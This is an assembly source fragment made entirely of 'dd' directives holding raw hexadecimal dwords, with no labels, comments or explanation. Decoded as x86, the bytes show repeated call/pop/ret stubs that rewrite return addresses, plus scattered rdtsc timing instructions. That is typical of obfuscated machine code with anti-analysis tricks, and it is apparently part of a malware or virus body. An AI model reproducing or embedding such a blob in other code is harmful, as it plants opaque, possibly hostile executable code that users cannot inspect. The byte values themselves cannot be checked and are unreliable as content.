		dd 98858965h, 6A0617AAh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 2D2AC351h, 0CBF38166h
		dd 59BD8BBBh, 0E9061429h, 231h,	13E85660h, 0A0000000h
		dd 0D5E76A7Eh, 357D3501h, 0F96DA781h, 22344C1Dh, 5B5ABEC1h
		dd 0A9E88166h, 858B61DDh, 617AA90h, 6840Fh, 9D890000h
		dd 6142955h, 0EF18501h,	0C70614h, 18h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 44C35545h, 2BC52750h, 0DA8B9699h
		dd 0AA94B58Bh, 95090617h, 61431D9h, 0B29858Bh, 6A0614h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 0EE78DEC3h, 0D15BD8Bh, 6890614h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 1AC35646h, 2CDB19BBh, 69858B4Bh
		dd 6A061419h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 66C2C355h, 8878A87Dh, 55CE827Eh
		dd 6A044689h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 426FC352h, 0BF0F89AEh,	0AE9FBh
		dd 74B40000h, 699149EDh, 2E687471h, 50DA8B96h, 31BF6696h
		dd 90B5FF59h, 890617AAh, 1408ED95h, 5BD8B06h, 0E806140Fh
		dd 4, 1F03FFh, 50DE8B66h, 424448Bh, 5250008Bh, 3880Fh
		dd 8B660000h, 52310FD9h, 89585A5Bh, 58042444h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0B8C35343h, 4820Fh
		dd 0BF660000h, 858DF856h, 617AA98h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 0F4C35040h,	8968B5F0h, 0E0E82D3Fh
		dd 7AA8BB66h, 0E9525050h, 0Eh, 8C334521h, 0E28FFF95h, 7474FD90h
		dd 310F3F2Dh, 13E8h, 184C2100h,	652179h, 77106531h, 0E7F71204h
		dd 3B3254D8h, 5A5F5B51h, 24048958h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 0C1C35646h,	26DF8166h, 188E0F50h
		dd 0E8000000h, 0Dh, 0F5D83EC6h,	458A0A8h, 0A8AE93DDh, 4F09BB73h
		dd 0FF5B5C0Bh, 1409AD95h, 85C76106h, 6142671h, 3, 7BEB8166h
		dd 98BD8356h, 617AAh, 56840Fh, 6A0000h,	3E857h,	5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 0BD3197C3h
		dd 6140791h, 4AE9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1504h, 0C3524200h, 0BD8B20E8h, 61430F5h
		dd 0EABB6652h, 0BD895FC4h, 614321Dh, 110C3050h,	1114400h
		dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
		dd 0DAADC357h, 0C2891519h, 9D8BC886h, 6140385h,	0C860Fh
		dd 8C0F0000h, 6, 0A2A6DF81h, 0BD834102h, 6142671h, 10850F03h
		dd 6A000004h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 0E995C357h, 5221432Fh,	0B959D8Bh
		dd 835F0614h, 17AA98BDh, 840F0006h, 3DBh, 789B531h, 0B5FF0614h
		dd 617AA98h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Dh,	0A3C35242h, 51DC005Ah, 4F1B4D5Dh, 0F595FF29h, 8006142Ah
		dd 0B58BB5C7h, 617AA8Ch, 4AD9D29h, 6C70614h, 10001h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 42C35343h, 8B5096AEh
		dd 0B7505FD8h, 6A960Eh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 0D6D79FC3h, 0F8B70F60h, 1850Fh
		dd 61FC0000h, 0AA98B5FFh, 6E90617h, 4C000000h, 0D204B7B8h
		dd 3195FF0Dh, 8906140Bh, 140CB9BDh, 8CB58B06h, 0F0617AAh
		dd 28Ah, 8BD3B700h, 1421D585h, 51006A06h, 3E8h,	0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 1BE959AFh
		dd 0F31B5ABh, 481h, 8CBF6600h, 0C4868964h, 89000000h, 1409E99Dh
		dd 29958B06h, 6A061432h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 2F3C351h, 8BE3EFA3h
		dd 0C283F8FAh
		dd 52006A04h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 0BF66F812h, 5089678Dh, 0A98D8920h, 50061414h
		dd 16CB8166h, 858D5B41h, 617BE06h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 9DC35040h, 8A1779C6h, 0C55C7E3Ah
		dd 0E1EF8150h, 5F7F14B0h, 0B88689h, 0BD890000h,	6142449h
		dd 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h
		dd 55450000h, 8AB78EC3h, 0B06E30DAh, 0FE8B66F5h, 0AA98B5FFh
		dd 8D290617h, 6140849h,	8DDB589h, 95FF0614h, 6140939h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 83C35545h
		dd 42FA809Fh, 9607218Bh, 0EE960h, 0A3050000h, 3C4F0898h
		dd 0D0196F50h, 4452B355h, 7E957h, 0D3D70000h, 7ADFAE80h
		dd 50615948h, 0EE9h, 201B1000h,	385111C3h, 3FAE2010h, 96FC30B8h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 74C35141h
		dd 547E02C4h, 371B55C8h, 698589C0h, 0FF06142Dh,	17AA98B5h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 0FA8B6621h, 20F595FFh, 0BE90614h, 0CB000000h
		dd 0A0F0D982h, 2348AB90h, 0BD830DFFh, 6140C21h,	78840F00h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 6456C353h, 0B92CC42Eh,	0A8FB0F25h
		dd 1DA19D8Bh, 50960614h, 9E852h, 0DC100000h, 5291B0C1h
		dd 0E9A1D80Ah, 8, 0AE3508AEh, 1188B17Ah, 0E8310F5Bh, 12h
		dd 78947DFAh, 9C671254h, 77DB67E7h, 16C32F69h, 0E3BB9733h
		dd 5F59458Fh, 0BF50585Ah, 74ED0EE0h, 0E9BD8B96h, 0FF061419h
		dd 17AA98B5h, 0FF5F5306h, 1402B195h, 0DBD8B06h,	6606140Fh
		dd 0FF52B0BFh, 17AA98B5h, 0DF816606h, 95FFD55Ch, 6143081h
		dd 2ED19D8Bh, 0BD830614h, 61409F5h, 55840F02h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 0E55DC352h, 5559D8Bh, 858B0614h, 6142D01h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 7CC35242h
		dd 959D894Bh, 0C6061404h, 85310000h, 6142AC1h, 244D85C7h
		dd 614h, 0DE80000h, 1D000000h, 0F8A325E5h, 30F4982Fh, 504C078h
		dd 10EDBD8Bh, 0E95F0614h, 0FFFFF3AFh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 0CDC35242h,	0E3078900h, 5D8589BBh
		dd 60061434h, 2FADB58Bh, 0EF810614h, 5096908Eh,	6AC18B61h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 0BF3C353h, 1299DFE3h, 34D5BD89h, 858D0614h
		dd 6140F99h, 1D75BD8Bh,	66900614h, 5086ECBBh, 0F41B160h
		dd 48Dh, 0D8B86600h, 8B906195h,	6A006AFEh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 3912C350h
		dd 2B7DFB62h, 9DBF6671h, 6A006AA3h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 78D3C357h
		dd 0D88BEF0Dh, 858D44B7h, 618FED5h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 0A6C35343h,	0C4C2E751h, 0FE940h
		dd 92640000h, 0AC85F146h, 0EBC85ADBh, 3050D749h, 5C08344h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 93C35646h
		dd 0D381F613h, 7751DA8h, 462EA2BFh, 0F8BB5004h,	8938CE92h
		dd 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 0AEE76DC3h, 0EEEFB854h, 89781EABh, 141605B5h
		dd 55BD8906h, 6A061405h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1B04h, 0C3554500h, 9F714218h, 0CF3F5BEEh
		dd 62D78166h, 6A006A8Dh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 0CF6BC352h,	927C437h
		dd 0FF7780D2h, 141A7195h, 61950906h, 8D06142Eh,	17A8FC8Dh
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 39B8B6Ch, 8B44D694h, 1414D1BDh, 6AD1FF06h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 9DD5C351h, 1B658531h, 0BD830614h,	61412CDh
		dd 95850F01h, 0BF000000h, 416ECE56h, 8B60026Ah,	140869BDh
		dd 0F7815706h, 5D572436h, 0E8906159h, 9, 38AEA3B3h, 67F3B147h
		dd 5BF98B97h, 6E850h, 90B90000h, 0B2F4022Ah, 0DE8h, 5E8D7600h
		dd 0E771BA81h, 3EC211A2h, 5F5FE0BCh, 51006A90h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 3995FF8Bh
		dd 6A061409h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 0CB6EC352h, 0E4B90DCAh, 0BD29F005h
		dd 6141D29h, 0CE4E9h, 0E800h, 815D0000h, 18FEDFEDh, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 55F9DB3h, 1DFC1899h,	0C9BD0951h, 6A061409h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 49D3C351h, 8D475F0Fh, 17962385h, 9E906h, 55650000h
		dd 97D80076h, 509AE530h, 0D3EBBB66h, 6A240489h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 49ADC353h, 6427C051h, 35FFh,	0BD890000h, 61402F1h, 258964h
		dd 9000000h, 1402F1BDh,	0F98B6606h, 236D85FFh, 6A0614h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 50D0AEC3h, 900DABD3h, 0E95E2E5Eh, 6,	924D0AA9h, 0FF6AFAF5h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 33C35545h
		dd 0B5FFB98Dh, 614220Dh, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Ch, 0E4C35141h, 0F8B25D74h, 0C9F42F84h, 80C0BF66h
		dd 2B1995FFh, 42E90614h, 0F000001h, 0B0DEB7h, 70E6FA8Ah
		dd 0E487EB80h, 0D1858971h, 906140Bh, 14347D8Dh,	0F613C06h
		dd 12083h, 0FD98B00h, 12E8C8B6h, 17000000h, 0E9BE788Eh
		dd 0B409F102h, 78708398h, 0E7DE9D80h, 5B95B7C9h, 6BAh
		dd 0B9526000h, 5AD520BBh, 0C18B615Fh, 5A19D89h,	8D0F0614h
		dd 0
		dd 0F04E8C1h, 389h, 99F78000h, 81E2F766h, 8E6777E7h, 7D9D8B39h
		dd 2B061410h, 0FB8B66C8h, 0E8B7D18Bh, 192D9D8Bh, 0B6E90614h
		dd 2B000000h, 141B799Dh, 118A0F06h, 0F000000h, 0B8Bh, 6E900h
		dd 2B240000h, 0B0E0F81Eh, 4C50858Bh, 0BD8B4755h, 6141B9Dh
		dd 6007C083h, 68C0Fh, 8C0F0000h, 0
		dd 2830Fh, 0FC8A0000h, 0C08361h, 0AE9h,	4AF1C500h, 688C385Dh
		dd 8BD8E3F6h, 141C3DBDh, 0FD03B06h, 0E83h, 0D99D8B00h
		dd 0E9061415h, 49h, 8BDE8B66h, 0FFFFFF8Dh, 0FEBF0FFFh
		dd 0F01E183h, 3484h, 0FFA58300h, 0FEFFFFFFh, 6810F57h
		dd 2B000000h, 141C99BDh, 95895F06h, 47554C50h, 6890F60h
		dd 89000000h, 1406598Dh, 3EE68106h, 61094341h, 0E9h, 82B58D00h
		dd 6A06187Ch, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 0CE7FC356h, 0B85BD8Bh,	6A0614h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 9BC35141h
		dd 95FF01C0h, 6141169h,	13859D8Bh, 8D890614h, 6140BB5h
		dd 0FDDB9h, 8E900h, 96E80000h, 81FDF7C8h, 0E18397DFh, 53006AFCh
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 9775BF27h, 8D89643Dh, 61400B5h, 0B8F88BFCh, 0
		dd 0EE1BD23h, 0BA0614h,	8B000000h, 14112DBDh, 8E906h, 7CA40000h
		dd 3DC2B63Eh, 33ADDD73h, 3E8D1C2h, 4E983D0h, 6AF475h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 3FDE65C3h, 863A02E8h, 56006AF0h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1604h, 0C3564600h, 8BA2E8DFh, 141495BDh
		dd 880D06h, 6A0000h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 160424h, 56460000h, 0E824A0C3h, 5CD9D8Bh, 958B0614h
		dd 6143229h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 17h,	18C35242h, 0F215A2Ah, 38Ah, 0DF8B6600h,	21A98D89h
		dd 8D8B0614h, 614064Dh,	12C18529h, 8B500614h, 3188BC2h
		dd 8B188BC1h, 3E8D1C1h,	58188BC2h, 3F5ABABBh, 0ADBD8356h
		dd 61429h, 53840Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h
		dd 44810424h, 190424h, 56460000h, 0F224B2C3h, 0E8BA7AA1h
		dd 13h,	2AD2FB09h, 0ABFEE5CCh, 3F3AD4Eh, 0BDDD566Ch, 665F6A46h
		dd 5B02CABFh, 0B8h, 8D1AB300h, 144D798Dh, 0D9858906h, 0FF061421h
		dd 71BD83E1h, 61426h, 39F840Fh,	8D890000h, 6142C99h, 485CC8BFh
		dd 71BD830Ch, 1061426h,	3A2840Fh, 95890000h, 6141AA9h
		dd 2671BD83h, 0F030614h, 35986h, 0E8605700h, 9,	23F7845h
		dd 253057F7h, 5A505A40h, 0BF605F61h, 186FA47Ch,	8BD98C66h
		dd 142121BDh, 4E18006h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 0C6C35343h, 408E2FBEh, 0BD093DE8h, 6141AC5h
		dd 840FC90Ah, 128h, 1995BD2Bh, 858B0614h, 6141969h, 2B759589h
		dd 85330614h, 6141B81h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 16h, 0D1C35545h, 0BD897B2Fh, 6140E59h, 89FE8B50h
		dd 6A2404h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 0ECD13BC3h, 0CE9F46Eh, 3D000000h,	3C1F26h
		dd 5688406Eh, 0F0FEAC1h, 686h, 0CDBD0B00h, 6A061421h, 68E0F00h
		dd 81000000h, 7935C5F7h, 6B5E6809h, 8B661BB6h, 243481DAh
		dd 1BA968A1h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 19h,	0DEC35646h, 7D2A0D75h, 0AD95FFC4h, 6A061409h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 3679C355h, 6608E914h, 3F512E1Bh, 5B5F5753h, 0AA988589h
		dd 6A0617h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
		dd 50400000h, 0C163A3C3h, 113154EDh, 0E9F38166h, 86E9F90Fh
		dd 8B000001h, 1410A5BDh, 0BD38006h, 0AA90858Bh,	880F0617h
		dd 6, 4525F781h, 0C7551Bh, 18h,	1DDBD89h, 0B58B0614h, 617AA94h
		dd 1D099D8Bh, 0BF0F0614h, 29858BFAh, 6A06140Bh,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 9C29C352h, 77E13E01h, 66D2949Fh, 0B589F98Bh,	6142EB5h
		dd 8B660689h, 69858BFEh, 0BF061419h, 1F3CA8Ch, 6A044689h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 9A56C353h, 0C5B3E09Dh, 0E03CBF96h, 66502B81h
		dd 2396F88Bh, 14224DBDh, 0F9B70F06h, 0AA90B5FFh, 6A0617h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 4B75E4C3h, 29F517DAh, 140F1985h, 0D28D6806h,	34813B2Ah
		dd 35D17224h, 52006A3Bh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1D04h, 0C3524200h, 57E11EF2h, 0C80E45EAh, 8589065Fh
		dd 6142171h, 49571FBFh,	98858D55h, 6A0617AAh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 5032C356h, 89F98B66h, 8B662404h, 0AD95FFF8h,	6A061409h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 97A5C352h, 0FD928577h, 5850F52h, 0BF000000h
		dd 7F80A4E4h, 0BB66605Bh, 9D89CE54h, 61402ADh, 9D0B6161h
		dd 6140471h, 2F19BD8Bh,	85C70614h, 6142671h, 3,	7801E781h
		dd 0BD831195h, 617AA98h, 33840F00h, 89000000h, 1423B1BDh
		dd 43E906h, 6A0000h, 3E850h, 58200000h,	448958C3h, 44810424h
		dd 170424h, 50400000h, 965822C3h, 38C0F78h, 80000000h
		dd 305032F3h, 4400110Ch, 0E8C10111h, 11443010h,	114C0002h
		dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h,	10E8C101h
		dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h
		dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h
		dd 8B00EBE7h, 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 0AB1EDC57h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 14h, 0D6C35141h,	0BD83FE8Ah, 6142671h
		dd 0EF850F03h, 0BF000003h, 27E213B1h, 0AA98BD83h, 0F000617h
		dd 3DD84h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1404h, 0C3524200h, 178C0F18h, 0E9000000h, 12h, 118D7B58h
		dd 0F3511AFBh, 0C48EEB87h, 4D6548Ch, 0B5FF95C3h, 617AA98h
		dd 0E299D23h, 95FF0614h, 6142AF5h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 2DC35343h, 79B5896Ch, 8B061416h
		dd 17AA8CB5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1D04h, 0C3504000h, 20C59AAEh, 43C04Dh, 0BB66496Fh, 95895462h
		dd 6140369h, 106C7h, 0F960001h,	888h, 2860F00h,	50000000h
		dd 6696505Fh, 0FF8E9ABBh, 17AA98B5h, 0C1BB6606h, 3195FF87h
		dd 6A06140Bh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 0BCC7C351h, 0B3DCADBh,	0CBDF4545h
		dd 0AA8CB58Bh, 6A0617h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 0F77ABC3h, 0E88h, 0B58B6000h, 61403C5h
		dd 25659D09h, 8B610614h, 1421D585h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 863CE51Ah
		dd 5DCF7112h, 8E9112Bh,	0D7000000h, 53219F2Ah, 89BA4B15h
		dd 0C486h, 0CD9D8B00h, 8B061415h, 14322995h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 0F823B354h, 83DBB70Fh, 0BF0F04C2h, 205089FBh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0D7C35242h, 6F989057h
		dd 0B70F1791h, 7DA5BFDAh, 858D6EC6h, 617BE06h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 16C35242h, 0F1DE1F38h
		dd 0B88689h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 29BDBEC3h, 1FB59D8Bh, 6A0614h, 0AA98B5FFh
		dd 6A0617h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 5940A5C3h, 3F5443F4h, 0FFF8F94Eh,	14093995h
		dd 96F88A06h, 245357BBh, 5250503Fh, 310F5250h, 310F585Ah
		dd 585AF98Bh, 79BD8996h, 0FF06140Eh, 17AA98B5h
		dd 0F99D8B06h, 0FF061431h, 1420F595h, 53006A06h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h
		dd 0F5047864h, 0C21BD83h, 0F000614h, 4284h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 7C6623A1h, 0D7640560h, 1549BD8Bh, 8B660614h,	7E950DAh
		dd 3D000000h, 0E778DD73h, 34898F73h, 0C99D8B24h, 0FF061402h
		dd 17AA98B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1A04h, 0C3524200h, 0F8D7217Bh, 0FC8AE73h, 81h, 0B195FF00h
		dd 6A061402h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 9DBDC357h, 35A3C79h, 899D8BC5h
		dd 0FF061424h, 17AA98B5h, 0D9BF0F06h, 68A0Fh, 85890000h
		dd 61412C9h, 308195FFh,	81660614h, 83901CCFh, 1409F5BDh
		dd 840F0206h, 3Eh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 18h, 0ACC35343h, 860064E0h, 18D9BD09h, 858B0614h
		dd 6142D01h, 0C60AB7h, 8E900h, 2EB20000h, 8496AC0Ah, 85C7953Dh
		dd 614244Dh, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 36C35040h
		dd 81BD8Bh, 53E90614h, 6AFFFFF4h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 3343C356h
		dd 1242AB92h, 4EDE12B5h, 6AC18Bh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1D0424h, 57470000h, 0E5F8C9C3h, 0AFA4E4D2h
		dd 8161B145h, 0DE7809F3h, 99858D1Dh, 0BF06140Fh, 4110153h
		dd 68B0F90h, 60000000h,	0D78BD88Ah, 8E0F5061h, 0
		dd 4CE38190h, 336BBFB4h, 1400FD9Dh, 6A006A06h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 2355C355h, 2F66D47Ah, 6A237BC6h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 9F51B23h, 0A22EDA90h
		dd 0B19D8BD2h, 8D061431h, 190DA285h, 8DB50106h,	8306142Eh
		dd 6A05C0h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
		dd 57470000h, 0B7F086C3h, 2840F90h, 0B3000000h,	0BB6650BDh
		dd 390E52Dh, 1409DDBDh,	89006A06h, 142A158Dh, 6A006A06h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 8BDEC352h, 140E55BDh, 21958906h, 0FF06141Bh
		dd 141A7195h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1404h, 0C3534300h, 0FC8D8DD0h, 6A0617A8h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 0DC32C352h, 25694DEBh, 6AD1FFh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1D0424h, 51410000h, 3A5480C3h, 42FB1998h
		dd 3335D1C2h, 1406519Dh, 0CDBD8306h, 1061412h, 6F850Fh
		dd 0C7800000h, 6A026A23h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 0B81AC357h,	667BD445h
		dd 5025D381h, 89FE8B66h, 14246D8Dh, 0BF509006h,	3ECB2E6h
		dd 55006A90h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1A04h
		dd 0C3554500h, 2B45C976h, 6682A419h, 0FF6080BFh, 14093995h
		dd 0C7815306h, 130B3C9Eh, 0D35E95Fh, 0E80000h, 5D000000h
		dd 0DACED81h, 0BD8B0619h, 6140611h, 0B8A0Fh, 6E90000h
		dd 0B5000000h, 6BCFEFFFh, 23858DC0h, 0E9061796h, 7, 20FED821h
		dd 506B708Ch, 489D98Bh,	0CE924h, 6A8A0000h, 9047214Bh
		dd 1F8F5A8h, 95898042h,	6141D3Dh, 35FF64h, 0F000000h, 8964F9B7h
		dd 25h,	919D8B00h, 0FF061419h, 14236D85h, 55006A06h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h
		dd 17C8EF3h, 142B81BDh,	0DDBD8B06h, 89061408h, 1422918Dh
		dd 6AFF6A06h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 0CEBC355h, 0D2B14483h,	23E59D89h
		dd 0D7800614h, 0D5B5FFABh, 6A061400h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 7658C350h
		dd 0E9A9C64Dh, 10h, 0DAE26930h,	0E9B68718h, 0A5E073CAh
		dd 0C5B557A2h, 2B1995FFh, 28E90614h, 60000001h,	0A4E08166h
		dd 61C18AE8h, 9D3100B0h, 61412D9h, 7C3D29BBh, 0E970E61Ch
		dd 9, 0C7902C4Dh, 424814C7h, 0F71E4C1h,	68Eh, 0D59D0300h
		dd 3C061410h, 0EC830F61h, 60000000h, 3845B966h,	14E19D89h
		dd 0F610614h, 0E957C8B6h, 5, 0AB01F36Bh, 6BA5F8Bh, 89000000h
		dd 14258595h, 81C18B06h, 0E6958FC3h, 4E8C16Eh, 0FE2F766h
		dd 28Ah, 2BFB8B00h, 0F88B66C8h,	1B4DDB81h, 0D18B7361h
		dd 0C08160h, 0E811FDAAh, 9, 0F641BDE6h,	0C9170E1Ah, 55852914h
		dd 5E06142Eh, 81E961h, 0FE8A0000h, 4E49858Bh, 0BD034400h
		dd 61403E1h, 8307C083h,	0F9BB00C0h, 3B235EE9h, 0E830FD0h
		dd 23000000h, 1405A5BDh, 55E906h, 8B660000h, 0FF8D8BDFh
		dd 29FFFFFFh, 142AF1B5h, 1E18306h, 3D840Fh, 0DE90000h
		dd 0C000000h, 0E4661B1Eh, 6D5D31E8h, 0B854AEE7h, 79EB8166h
		dd 0FFA58363h, 0FEFFFFFFh, 0D9D8BF8h, 89061420h, 4E4995h
		dd 85BE6044h, 89644048h, 141D6195h, 0E96106h, 8D000000h
		dd 188C5FB5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1704h, 0C3514100h, 0F27C38ADh, 6AF98Bh, 909BD29h, 0FD8A0614h
		dd 116995FFh, 0BE80614h, 0C0000000h, 0D424BC62h, 16BB1478h
		dd 5BFC81FBh, 0ED4B9h, 56006A00h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1B04h, 0C3564600h, 0FA0140BDh, 0F7D471C9h
		dd 6AFCE183h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 0F9FCC356h, 0FC59F6Eh,	0B8Bh
		dd 6E900h, 7B2F0000h, 0D37CA7DAh, 819D89FCh, 2B06140Ch
		dd 57006AC0h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 623013Bh, 49858959h, 2B06142Ch, 1DB589D2h
		dd 6006142Bh, 631BD8Bh,	4CBB0614h, 613B56A6h, 0D1C233ADh
		dd 83D003E8h, 0F47504E9h, 0DE30BF66h, 2561B529h, 880D0614h
		dd 66000000h, 8BD3A3BBh, 14322995h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 0F4EB7E2h
